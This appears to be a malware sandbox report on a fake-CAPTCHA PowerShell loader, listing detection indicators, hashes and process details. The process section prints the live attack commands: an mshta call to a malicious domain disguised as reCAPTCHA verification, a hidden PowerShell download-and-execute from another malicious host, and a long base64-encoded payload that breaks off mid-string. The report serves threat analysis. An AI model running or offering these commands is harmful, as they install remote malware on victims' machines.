File name:

command.txt

Full analysis: https://app.any.run/tasks/40d2f4e7-5d75-4a10-9ae9-212f479fe4b5
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: January 16, 2025, 20:46:31
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
reflection
loader
Indicators:
MIME: text/plain
File info: Unicode text, UTF-8 text, with no line terminators
MD5:

DC1DECA98B2A00423E1BB3A5E17E6C2B

SHA1:

D09794C2BDA7CF8819852E814876F43FDB16B8D6

SHA256:

ED090E0FC361CFE38BE60C1BBFA56DAC5093CBC8AE64D3B0C382CB3E6CD22336

SSDEEP:

3:I5DBKWAI0IR0K0O78VW8P5ACt+RbqRF4I1yMQRWL7n:I/5iTKr8fCC0IMPy7n

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6076)
      • powershell.exe (PID: 1292)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 1292)

    • Changes powershell execution policy (Bypass)

      • powershell.exe (PID: 6076)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 1292)

  • SUSPICIOUS

    • Detects reflection assembly loader (YARA)

      • powershell.exe (PID: 3288)

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 1220)
      • powershell.exe (PID: 6076)

    • BASE64 encoded PowerShell command has been detected

      • mshta.exe (PID: 1220)

    • Base64-obfuscated command line is found

      • mshta.exe (PID: 1220)

    • Starts a new process with hidden mode (POWERSHELL)

      • powershell.exe (PID: 6076)

    • Probably download files using WebClient

      • powershell.exe (PID: 6076)

    • Possibly malicious use of IEX has been detected

      • powershell.exe (PID: 6076)

    • Executes script without checking the security policy

      • powershell.exe (PID: 1292)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 1292)

    • The process bypasses the loading of PowerShell profile settings

      • powershell.exe (PID: 6076)

  • INFO

    • Process checks computer location settings

      • SearchApp.exe (PID: 5064)

    • Checks current location (POWERSHELL)

      • powershell.exe (PID: 3288)

    • Manual execution by a user

      • mshta.exe (PID: 2076)
      • mshta.exe (PID: 1220)
      • powershell.exe (PID: 3288)

    • Reads the machine GUID from the registry

      • SearchApp.exe (PID: 5064)

    • Checks proxy server information

      • mshta.exe (PID: 1220)
      • powershell.exe (PID: 1292)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 3288)

    • Checks supported languages

      • SearchApp.exe (PID: 5064)

    • The process uses the downloaded file

      • powershell.exe (PID: 3288)
      • powershell.exe (PID: 6076)
      • mshta.exe (PID: 1220)

    • Reads the software policy settings

      • SearchApp.exe (PID: 5064)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 1220)

    • Reads security settings of Internet Explorer

      • notepad.exe (PID: 6824)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 1292)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
121
Monitored processes
10
Malicious processes
2
Suspicious processes
2

Behavior graph

Click at the process to see the details
start notepad.exe no specs powershell.exe no specs conhost.exe no specs mshta.exe no specs mshta.exe powershell.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs searchapp.exe

Process information

PID
CMD
Path
Indicators
Parent process
436\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1220"C:\windows\system32\mshta.exe" https://dokedok.shop/ru1-2.mp3 # ✅ ''I am not a robot - reCAPTCHA Verification ID: 2165C:\Windows\System32\mshta.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll
1292"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://hhhh.klipcewucyu.shop/Handler.db'))" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
2076"C:\WINDOWS\system32\mshta.exe" C:\Windows\System32\mshta.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll
2976\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3288"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5064"C:\WINDOWS\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mcaC:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Search application
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\systemapps\microsoft.windows.search_cw5n1h2txyewy\searchapp.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5308\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6076"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc JABDAEMAdwBmAHIAZwBNAEoANQA3ADgAQgB2AG4AaQBiADEARABNADYAQwBoADkAcQBuAFMAaQBFAHkAdwA4AHUAWQBJADAAaABoAHIARgBwAG8ATwBPAFkAMABKAHIAQQB3ADYAQwB6AFcAVQB5AHMATAB0AE4AaABVAE8AUQBHAHYASABMAGEAagBDAEgAYQBFAHkAZABpAHQAYgBaAEEANwAwAEQAegBjAFMANgBhADYAYgBqAHkANQBwAE8ATQBtAGUAMwBYADgARgBOAEEAWABlAEIAcABwAEUARAA0AHYAMQByAGsAcwBOAHYAcwBDAEEAVwBiAEwANgBPAEEAbgBLAG4AWgBjAEIAUQBaAFEAbQBSAHQATABnAEcAUgBtADUARABuAEcANwBRADMAVQAzAHYAZQA0AFEAUQBKAFYAWABVAEoAWgBPAEMAaQBHAE4AVABIAFcAQgBwAHoAcQBKAFEANwBCAGUATABRAEcAdgBDADEANwBvAHoAOQAyAEoASQBQAEgASABuAHIASgBsAEIAZgBwAEEAWABFAGgASQB0AEgATwBRAFkAaQBCAHEAOQBQAFQAMABZAFgAbABEADAAWQBpAEkASABkAGMARwBLADQANQAzAHYAWgBMAHQAaABDAFcAcQBqAEgATQA5AGoAZgA5AHMAMwA2AEoAWQA5AHYARABpADAAaQBXAEMAdQA1AHkAMQBQADQARQB3AHUAQgBIAEcAQwBKAFcAQQBKAHkAagA4AHoAbgAyAEUARAAxAHkAMwB0AEsAYwByAHkASwBjAGEAdgB1AEUATwBaAFAAaABQAFQATwAwAFQAVABJAHgAMABXAFIASgBHAGgAWgBuAFgAaABDAE8ATABUAGMAVQBXADAARABQAEUAZgAwAEcANwAyAGUAbgBvAGoAVwBDAEoAdgBIADQAeAB3ADYARABUAEsAMgBDAEMAaABUAFgAQwBUAHgANQB4AGkAVwB1AEcAMQBSAHYAYwBQAGQAVwBpAHQASgBzAFQASgB6AGsAeQBtAGsASQBEAEYANgBYAEsAMABTAFQAWgB4AEEAOQA4ADEASwBzADYASQB0AEkAYwBrAGcAWgBuAEwASABhAGMANwBEAFUAbQBNAGoAWQBIADMAdAA1AHYAUgBzAEQANABhADMAZQBQAGcANwBKAFgATwBIAE4ATAAxAHkANABlAG8AdAB5AHAAaQBoAEsAbQBnAGwAUwBrAGEAcwBiAHoAagBUAGoANABmADMAbgA3AHMAWAB5ADAAVABWAGsAMgBhAEQAbAAyADUAbQAxAFMASgAwAGUAcABqAEoAUwA2AHUANQBtAFcAdgAxAEIAaABWAEgAaQAzAHoAWAA3ADQAZwBzADcAegA2ADcASQA3AHoAawByAG0AUgBXAEwAcABKADMASwByAHcAOABJAFAAMAA1AGkAMAA5AHkAVABqAHAAbwBoAGIATwBGAGcAagBrADAANwA3AEoASgBBAGgAaAA4AGMAVQBUAEEAdAAyAFQARQBDAFYARgB6AE8ATQBaAE8ATQA0AFkAVwBxADEAZgBBAGgAZQBhAGUAVwBKAHUAagBSAFMANQBsAEgASwBhADgAMwBCAGgAQgBBAFgAZgBnADMAZwBIAGYATAAzAFYAdABiAEwARwBCAFAANgBrAGwAMwBDAHAANABZAFMASABDAHEAUgByAHkAbwBzAHoANAAzAFMAaQBSADYAcwBRAGEATAA3AGYAdgBPAHQAVABWAEwAUQA1ACAAPQAgACQAZgBBAEwAcwBFAA0ACgAkAEIAZgBqADUAVgBZAHUAVgA5AFQAMgBVAEMAcgBPAEoAWQBxAHUAZwBiAG8ATwBNAHIAcwBiAGoAUAA4AE4AMwBJAG4AMQB2ADEAaQBJADIAZQBWADAARABDAG8AOABBADcAZQBqAGIARwAyAGMAZABFAHkAUwBvADgASQAyADYAeQBnADAAeAAxADIASwB0AFEAbAByAEEAaQBpAHUATABhAGkANgBDAEwAUwBPAFAAbgBRAGMAZwBrAHUAZgBTAG8ATABjADYAUABQAFkAdABkAEQAMgBEAGEAYgA4AGkARABzAHEAbABRAEQAVgBpAFoAVgBZAG8AYwBTAEwAQwA3AFEATgBsADgAVQBJAGkAbAAyAGsATQBXAHkAawBGADgAcABFADgAUABGAFEAbwB6AFoAWABFAEgAOQBZAE0ATABQAFQAQgBBAGcANAA1AEIAdQA3AGcAbABrAGwAQgBHAFoAMABwAEcAcABsAFgAbwAzAFMAZgB5AGYAeQBYAE0ATQBXAGQAaQBxAEQAZQA2AFoAMABlAG4AcgBTAGQAZgBJAE0AcwBGAFoARwBvAEkAVQBHAHIAQwBCADAAZABMAG0AOQBHAHgAQgBDAFYAdwBoAG4ATwBkAHkAQwA2ADIAVgBIAFMASgBuAE8AMQBnADEAOABsAHMAdQBwAGIAbwBLAFAAVgAwAEEAeABWAFIANgA4AFgARwB5AFgAQQBtAGgAWABDAFoAaABVAGcAbgA1AHoAVQBSAHAAOQBxAGkAZwBJAGoASAB0ADIAcgBsAEMAQgBoAEoARwBXAG4ARgA5AE8AMgBQAHEAeAA4AGoAVABvAEMAdgBKAGoATQBjAFkAcgA5AEsAZwA3AFcAdwAxAFYAdgBwAHcAcgB4AEoAeABoAFYARgBsAGsAZQBtAG8AMgBGAGkAZgB3AHkATwBqADAAWAA1ADEAbwBSAGYATQBZAFAAWAA1AEgAZABpAEYAMwBYAHYAdQBEAGcAWQBsAEsAZwBGAFoAWQBoAFYANQBuADIAZABiAEwAZQB3AEUARgBrAE0AeAA0AFYAaABxAFoAbQBmAEIAcABMAFkARABOADcAZABKAEEAQgBpAGYAdwBPAGwARwBEAGcAawBSAEsAWQBLADMAcABHAE4ATgBkADgAagA3AEUAVQA4AG8ARQA5AGYAUgBUAEMASAA5AFoAOQBiAFoAUABFADkAYgBTAE4ANwBDAEEATwBKAG8AegByAGQAQwBrAEsAegBoAHkAVABmAE0AbQBvADQARABSAEoAUQBSAHYAUQBDAGsAZwBQAGkANABLAFQARABmAE4AMwAxAGwAQwBSAEEAZwBJAE4ANgA5AEkARgBtADkAVwBHAEgAeQBLAGoAbwByAHQAMwB0AGgAdwBaAHAAMgBIAEkAaQBMAGoAZQB4AGoAZgB3AGQAWAAzAEIAUgBuAE0AWQA3AEsASQBmACAAPQAgACQAVAByAHUARQANAAoAJABvAG4ARgBrAHoANABKAFkANABGAHcAQgBYADYAdQBkAEkAeABNADcAcABMAHMAYgAxAFMATgBaAGIAcwB2AGsAaABOAFoASwB6AE8AQgB2AGkAVQB2AEQATwBIAGIASABPAE8AbwBFAG4AVAA1AHoAVgBTAEgAWABoADQAbwBCAEIAbwBuAHYAMwA5AGwAZgBuAGwAVgBHAEwAMABZADcAWQByAEEAdQByADcANwBIAHcATgBwAGkATgAyAFYAZQBNAG4AbgBYADYAdwBRADgAWABZADkAMABrADAAUQBYAGkAdABMAFEAUwBXAFMAcQB1AHQAYQB1ADYAeQBwAFQATgAzAHkAeAA1AFYAUAAgAD0AIAAkAE4AdQBsAGwADQAKACQASQBMAHMAeABxAHQAOQBwAEgANQBjAG0AWQB6ADkATwBlADEAQQBQAG0ANQBXAGUAdwBvAFgAYwBlAGcAMQBrAGwAVQBwAGkAMQBPAGkASABQAFEAZABOAEYAQwBaAEsASABVAHMAcgBJAFIATgBYAEcAVABhAGUAZABpAFAAagBWAGsAeABxAHkAMwBsAEwAcwBkADYAZQBzAEIAawBVAFUARABUAGkASgBPAGEAMgBzAFoASgBrAGEAbAAxAFcAUwBoAG0ASABXAGYAUQBoADcAWgB1AFAAZAByAFAANABNAEgAaAB2AFEAaABhADkAeQBWADYAWgBUAHkAUwAzADMAVQBBAE4ANABJADEAMQBPADQAZgBOAEMAaQBNAGMAcgA2AE4ANQB0AFEAcgAzAFIAdQAzAFEATQBHAG4AMwBlAFYAUAB0AEkAWgA0AEsAMgAyAGMAVwBiADkATQBMAGYARQBPAHIAcwBVAEcASQBnAHYARwBOADEATQBPAEMAMABsAFEAMwBmADkAbwBiAE8AYgBSAEUAcAA5AFAAWgBJADQAaQBzAEYASQBJAGcAYwB2AEUAWAA4ADcAMABBAHYAUABzADYATABMAGkATwB5AFIAdQBNAGwATQBRAEMAMQBuAEwANQBXAEoAWQBDAEkAWQBRAE4AcwBaADkANABYAEkAeABLADYANwBLAGYAZwBxAEwASQA3ADIAegBYAHkANQA3AHYAMwBkAGQARgBnAEYAbwBnAG8AYwBUAFEAVwBCAEsAaQBiAGMAVABMAHkATQBLAEsAYgAwAFAAawB4AHEANwBuAEgAbABrAEkARQBoAGcAZQBOADEAeQBmAHgAcgAzAHQATgBaAFgARgA0AHAAcwBkADYATgBYAHYAbQByADIAUQAyAHMAdgBOAGkAYwA2AEYAdAAwAE8AdABwAE0AdwB3AFYAdgB6AGsAZgB1AFgATwA0AFAAMQBPAHYAagBWAEoAMABKAE0AaQB2AGgARwBKAEkAMwBqAFYAWABGAGIAVgA0AGwAeABPAGsAbwBOAGsAVQA5AE8ANwBpAFUAeQBoADMAaQByAEEAcwBzAEcASQBsAG8AbgA0AGkAZwBkAGIAVwByAHMAOQBEAEMAQgBSADcAegBNAEQAcAB2AHQAYwAxADYAdgA0AHcANAAxAGkARABTAEMAMgBrAFEAWQA3AFMAUwBjADQAWQBPAGUAeQBQAHcAUgBFAE4AaABvAFoAOAAxAGMATwBPAEwAdAA1ADYARQBBAEUAYwA5AEsAMgBJAGcAYQBIAHkAMwBpAEsARABXAHIAQQBpAHYAOQBzAGkAcABlAGwAMABiADUAbgBuAGQAUgBnAEQAVgA2AEkASABDADcAcwB0AHIAWABNAEIAaQBkAG8AaAB6AGsAeQBqAEUASgBzAEoAVwBwAHIAOABxAHQAQQBjAGUATAA2AEMATABuAHUAdABTACAAPQAiAEQAZQBmAGwAYQAiACAAKwAgACIAdABlAFMAdAByAGUAYQBtACIAOwAkAGoAZwBUAHcAUgAyAG4AeABDADcAWQBWADcATQB1AGYANABmAGcATgBBAHUAdQBEAHoAMQBIADIAdwB6AG4AaQBxAEQAcABtAFIAbwBHADQAWAB5AGQAYgBwAEEAVQBKAEMARAB5AHEAQgByAHgAYwA2AHUAdgBhAG0ANgBJAE0AUQBiAFEAQgBhAFoAegBnAFcAYgBxAGUAUgBGAEsASABJAHkAMwBuAFgATwBYAGwAZwAxAGUAdgBTAFgAVABOAFAAUAA3AFkAUwBlAEwATQBZADAAZgA3AGIAbgA2AGYAZgB3AEkAVQBlADEARgB2AEQAbwBaAEsATwBSAGoAUQBWAEgAVwA1AGwAdQBWAE0ASABhAFYAMABsAFAAeAA0AEUATwBiADcAeAA0AEUASwBaAGsAeQBUAFAAeQBXAEYAVgBpAFgATQBGAGQARQBCAG4AQwBHADUAcQBBAGIAbgBsAFUAQwBZADgAMQBrAG8AdwBIAFUAawBCADEAZwB6AGIAMABGAG0AMwA2AE4AWABjADcAVwBpAFIAUQBJAGIARwA4AGYAVwB5ADQANgBzAFkAdQBPAEYAQQBkAEUAZQBjAEsAYgBrAFQAYgBzAEYAWAB2AFMAUAB6AFgAbQAwAFIAbABtADkAUwBxADAAcwBnADQARABwAE8ARAB6AEkAbAA1AHYAdwAxAHIAVgB1AFkAUwAzAGQAMABZAGIAaABDAEIAcwBmAFcATgBKAFQAbwB1AEIAaQBSAEcAagBSAGMAOABSAHkAdQAyAFgAbABmAG8ARABmADAASwBvAFUAVgBSAE8AeAB4AEQAdgBLADQASAA3ADMARQBQAHQANABsAHMAMABVAFQAbQByAEYANwBiAHgAMQBwAHEAagBYAFIAQwBsAGUATwBhAFYAbwBIAE4AYwA4AEwAdQBYAFkAegBEADYANwBrADkAWQA3AFoAWgByADkATQBNADAAdQBzADQAUAAzAHAAVAAzAHkAWABhADAAUgBmADkATQA2AGUAagByAG8AZQAzAEsAOQAxAEEAdgByAGwATgB4AHMAaABuAEoAQQBOAFgASgBKAHAASgBmADIAIAA9ACAAIgBDAG8AbQBwAHIAZQAiACAAKwAgACIAcwBzAGkAbwBuACIAOwAgACQAMwBHAG0AWABxAGQAaABjAHIAdQBJAFQAUAAwADkAMQBkAFoAQgB5AFcANgA4ADYATAB2AEQAdQBYADEAawBOADMAbQBJAHQAUgBpADAAOABOAEgAbgBWADUAUQBUADEAdABoAFQAUABGAGwAegB2AFkATQBQAFoAVgBTAHkASQBOAEIAYQBQAHYAYQBLAHIAZwBBAGYANQBMAFkATwAxAFkAcQBCAHUAYwBtAHAARwB5ADAAbQBrAGMAZgBMAE4AdgBLAGIAdABkAHcAMgBlAE0ARgB5ADYASwBhAEcANQBoAHEAegBWAFkAUwBuAHQATgBOAGgAYwB4AG8ANAAwAEoATQA0AGUARQB4AEwAUABmAE8ARwBZAEMAQgBrADkATwBUAG0ANwB1AEwAZABkAEkAcgBVAEkANwA3AEoAcgBCAEIANQBkAHkAQwBnADcAUABVAFcANQBUAFkAVgBrAEoAbQBFADUAdgBrAFcAMQAxAEUAcwByAEkAcgBhAFUASQA2AFkAUQBNAEsARQA2AE8ATQBPAGMAeQBYAFIAdgBVAEoANQBpAGoAQgBvAFgAZQBwAEcAdABmADYARABYAEQATABaAEUAbgBjAEkASwBnAGMAWABsAHUATQBuAGUATwBGAEMAcgBDAEwAWQBOAE4AUABSAEcAcwB3AEMAdABaAEwAQQBwAGUAdgBJAEYANABpAFcAUABZAFkAWQBDAGwAMABEAHcAWQBPADQAZgBJAGIAVQA1AEQAUwBMAHYANAAyAFoAZgBuAHUAaQBOADEAVwBOAGYAZgBhADcAdwB2AEsAMABJADMAegBDAEQAUQB6AGsATQB5ADYARgBlAEYANQA3ADcARgAwAEUAbwAxAEYAMABXAFEAMgB2AEoASQBNAGsAcQBzAHUAOABXAGIAMwBYAFEAcgBvAHkATQBDAGwAUQA1AHAAdQByAE4AVgAxADgARwBRAHgASAA3AHUAbgBEAG4AeABVAHoAdAByADgARgBjAGYAbgBjAEIAcgBXADMAaQBiAGwARwBpAFMATQBVAEEAUwB2AFQAMgBUAEMAaAAxAEEAbAAxAE0AUgA5ADYAbABDADAASwBMAHgAMABLAFkAVQBqADgAVABsAEkARABMAFAASgBjAEoAWgBqAFkARgBkAHQAdgBHAEgANwBXAEcAdwBSAEoAWQBKADYAUQB4ADgATgBBAFQANABqAHUAcABhAHUASQBRADkASgBZAG4ANQBoAHMAWQB5AHUAWQBVADYAZQBrAFgASwBEADkAUgBqAGcAbwBKAFAAeQBSAHQAOABYADkAMAB2AFUARABMAGwAMgB2AGoAbgBNAGcATABoADgAaABEAGYATABkAEQAWgBtAHgAWgBqAEQAWgB3AGEATAB3AEoAdgBMAEsAawBQAE0AcQB0ADIAIAA9ACIAUwB0AHIAZQBhACIAIAArACAAIgBtAFIAZQBhAGQAZQByACIAOwAgAC4AKAAiAGkAIgArACIAZQB4ACIAKQAgACQAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AJAAzAEcAbQBYAHEAZABoAGMAcgBVAGkAVABwADAAOQAxAEQAWgBCAFkAdwA2ADgANgBsAHYARABVAFgAMQBrAE4AMwBNAEkAdAByAEkAMAA4AG4AaABuAHYANQBxAFQAMQBUAGgAdABQAGYATABaAFYAeQBNAFAAWgB2AFMAeQBpAE4AQgBBAFAAdgBBAEsAcgBHAGEAZgA1AGwAeQBPADEAWQBxAEIAVQBDAE0AUABHAFkAMABNAGsAQwBGAEwAbgBWAGsAYgBUAGQAVwAyAGUATQBmAFkANgBrAGEAZwA1AEgAcQB6AFYAWQBTAG4AVABuAG4AaABDAHgAbwA0ADAAagBNADQARQBFAFgAbABQAGYATwBHAFkAYwBCAGsAOQBPAHQATQA3AHUAbABkAEQAaQBSAFUASQA3ADcAagByAGIAYgA1AEQAWQBjAEcANwBwAHUAdwA1AFQAeQB2AEsAagBtAEUANQB2AEsAdwAxADEARQBTAHIASQBSAGEAVQBpADYAWQBRAG0AawBFADYATwBtAG8AYwBZAFgAcgB2AHUASgA1AGkAagBiAG8AeABFAHAARwB0AEYANgBEAFgAZABsAHoAZQBuAEMASQBrAGcAQwB4AEwAdQBNAG4AZQBvAEYAYwBSAEMATABZAE4AbgBwAHIARwBTAFcAYwBUAFoAbABBAHAARQBWAGkAZgA0AGkAdwBQAHkAeQB5AEMATAAwAEQAdwB5AE8ANABGAEkAYgBVADUARABTAGwAVgA0ADIAWgBGAG4AVQBpAE4AMQBXAG4AZgBmAGEANwB3AFYASwAwAEkAMwBaAGMARABxAFoAawBtAFkANgBGAEUAZgA1ADcANwBmADAAZQBPADEAZgAwAHcAcQAyAHYAagBJAE0ASwBRAFMAdQA4AHcAYgAzAHgAcQBSAG8AWQBNAGMAbABxADUAUAB1AFIAbgB2ADEAOABHAHEAeABIADcAdQBOAEQATgB4AHUAWgBUAFIAOABmAEMAZgBuAEMAQgByAFcAMwBJAEIATABHAEkAUwBtAHUAQQBTAHYAVAAyAFQAYwBIADEAYQBsADEATQBSADkANgBMAGMAMABLAGwAWAAwAEsAWQBVAGoAOABUAEwAaQBEAEwAcABKAGMASgB6AGoAeQBmAEQAVABWAEcAaAA3AFcARwBXAHIASgB5AGoANgBRAHgAOABuAGEAVAA0AEoAdQBQAEEAVQBJAHEAOQBqAFkAbgA1AEgAcwBZAHkAdQBZAFUANgBlAEsAeABLAGQAOQBSAEoAZwBvAEoAUAB5AFIAdAA4AHgAOQAwAFYAVQBEAEwATAAyAHYASgBOAE0AZwBsAEgAOABIAGQARgBsAEQARABaAG0AeABaAGoAZAB6AHcAQQBMAFcASgB2AGwAawBLAFAAbQBRAFQAMgAgACgAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABpAG8ALgAkAGoARwBUAHcAcgAyAG4AeABDADcAWQBWADcAbQB1AGYANABGAGcATgBhAFUAVQBkAHoAMQBIADIAVwBaAG4AaQBxAEQAcABtAHIATwBHADQAeABZAEQAQgBQAEEAVQBqAGMARABZAFEAQgByAHgAQwA2AHUAVgBhAG0ANgBJAG0AcQBCAHEAQgBhAHoAWgBHAFcAYgBxAGUAUgBGAGsASABpAHkAMwBuAFgAbwB4AEwARwAxAEUAdgBTAFgAdABuAHAAUAA3AHkAcwBFAEwATQBZADAARgA3AEIATgA2AGYAZgBXAGkAVQBlADEARgBWAGQATwB6AEsAbwBSAGoAcQB2AGgAdwA1AGwAVQB2AG0ASABBAFYAMABMAHAAeAA0AEUAbwBiADcAeAA0AEUASwBaAEsAeQB0AFAAWQB3AEYAVgBpAHgATQBGAEQARQBiAE4AQwBnADUAUQBBAGIATgBsAFUAYwB5ADgAMQBrAG8AdwBIAFUASwBiADEAZwB6AGIAMABmAG0AMwA2AE4AWABDADcAdwBJAHIAcQBpAEIARwA4AGYAVwBZADQANgBzAFkAVQBvAEYAQQBkAEUARQBDAGsAQgBLAFQAQgBTAGYAWABWAFMAcAB6AFgAbQAwAHIATABNADkAUwBRADAAUwBHADQARABQAE8ARABaAGkATAA1AHYAdwAxAFIAdgBVAFkAcwAzAEQAMABZAGIAaABjAEIAUwBGAFcAbgBKAFQATwBVAGIASQByAGcAagByAEMAOAByAHkAdQAyAFgAbABmAE8ARABGADAAawBPAFUAdgByAE8AeABYAGQAdgBLADQAaAA3ADMARQBwAHQANABMAHMAMAB1AFQATQBSAEYANwBCAHgAMQBQAHEASgB4AFIAQwBsAEUAbwBBAFYAbwBIAE4AYwA4AGwAVQB4AHkAWgBEADYANwBrADkAeQA3AHoAegByADkATQBNADAAdQBTADQAcAAzAHAAdAAzAFkAeABBADAAcgBGADkATQA2AGUASgBSAG8ARQAzAGsAOQAxAGEAdgByAEwAbgBYAFMASABuAEoAYQBuAHgAagBKAHAASgBGADIALgAkAGkATABTAHgAUQBUADkAUABoADUAYwBNAFkAegA5AE8ARQAxAEEAcABtADUAdwBFAFcATwBYAEMAZQBnADEASwBsAFUAUABJADEATwBpAEgAUABxAEQAbgBGAGMAWgBrAGgAdQBzAHIAaQByAE4AeABnAHQAYQBFAGQASQBwAGoAdgBrAFgAUQB5ADMAbABsAFMAZAA2AGUAUwBiAEsAVQB1AEQAdABJAEoATwBBADIAUwBaAGoASwBhAGwAMQB3AHMASABNAGgAdwBmAHEASAA3AFoAdQBwAGQAcgBQADQATQBoAEgAdgBRAEgAQQA5AHkAdgA2AFoAdAB5AHMAMwAzAHUAQQBuADQASQAxADEATwA0AEYATgBjAEkAbQBDAHIANgBuADUAdABxAFIAMwBSAF